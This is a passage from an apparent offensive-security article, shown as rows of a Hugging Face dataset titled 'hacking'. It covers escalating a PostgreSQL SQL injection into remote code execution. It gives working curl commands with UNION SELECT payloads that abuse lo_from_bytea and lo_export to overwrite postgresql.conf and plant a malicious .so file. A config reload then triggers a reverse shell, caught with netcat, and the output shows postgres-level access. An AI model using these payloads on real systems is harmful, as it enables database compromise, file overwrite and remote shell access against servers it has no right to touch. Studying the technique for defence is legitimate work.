Datasets:
Devilishcode
/
hacking

Dataset card Data Studio Files
xet
 Community
text
stringlengths
0
1.99k
With the updated config file and compiled library on our hands, it is time
to upload and overwrite everything on the target DBMS host.
Uploading and replacing the postgresql.conf file:
--------------------------------------------------------------------------
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(3331333337, decode('$(base64 -w 0 postgresql_new.conf)', 'base64'))) AS text)"
[
{"id":1337,"text":"3331333337"}
]
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(3331333337, '/etc/postgresql/13/main/postgresql.conf')) AS text)"
[{"id":1337,"text":"1"}]
--------------------------------------------------------------------------
Uploading the malicious .so file:
--------------------------------------------------------------------------
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_from_bytea(33313333337, decode('$(base64 -w 0 payload.so)', 'base64'))) AS text)"
[
{"id":1337,"text":"33313333337"}
]
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337,CAST((SELECT lo_export(33313333337, '/tmp/payload.so')) AS text)"
[{"id":1337,"text":"1"}]
--------------------------------------------------------------------------
If everything is correct, we should see the updated config and .so file in
place:
--------------------------------------------------------------------------
# .so library
=== target server ===
ubuntu@ubuntu-virtual-machine:/tmp$ md5sum payload.so
0a240596d100c8ca8e781543884da202 payload.so
=== attacker server ===
$ md5sum payload.so
0a240596d100c8ca8e781543884da202 payload.so
# postgresql.conf
=== target server ===
ubuntu@ubuntu-virtual-machine:~$ md5sum /etc/postgresql/13/main/postgresql.conf
480bb646f178be2a9a2b609b384e20de /etc/postgresql/13/main/postgresql.conf
=== attacker server ===
$ md5sum postgresql_new.conf
480bb646f178be2a9a2b609b384e20de postgresql_new.conf
--------------------------------------------------------------------------
---[ 4.4 - Reload successful
We are all set. Now for the moment of glory! A quick config reload and we
get a reverse shell back from the server.
--------------------------------------------------------------------------
$ curl -G "http://172.23.16.127:8000/phrases" --data-urlencode \
"id=-1 UNION SELECT 1337, CAST((SELECT pg_reload_conf()) AS text)"
[
{"id":1337,"text":"true"}
]
--------------------------------------------------------------------------
On the attacker host:
--------------------------------------------------------------------------
$ nc -lvnp 8888
Listening on 0.0.0.0 8888
Connection received on 172.23.16.1 53004
id
uid=129(postgres) gid=138(postgres) groups=138(postgres),115(ssl-cert)
pwd
/var/lib/postgresql
--------------------------------------------------------------------------
--[ 5 - Conclusions
In this article, we managed to escalate the impact of a seemingly very
restricted SQL injection to a critical level by recreating DELETE and
UPDATE statements from scratch via the direct modification of the DBMS
files and data, and develop a novel technique of escalating user
permissions!
Excessive server file read/write permissions can be a powerful tool in
the wrong hands. There is still much to discover with this attack vector,
but I hope you've learned something useful today.
Cheers,
adeadfed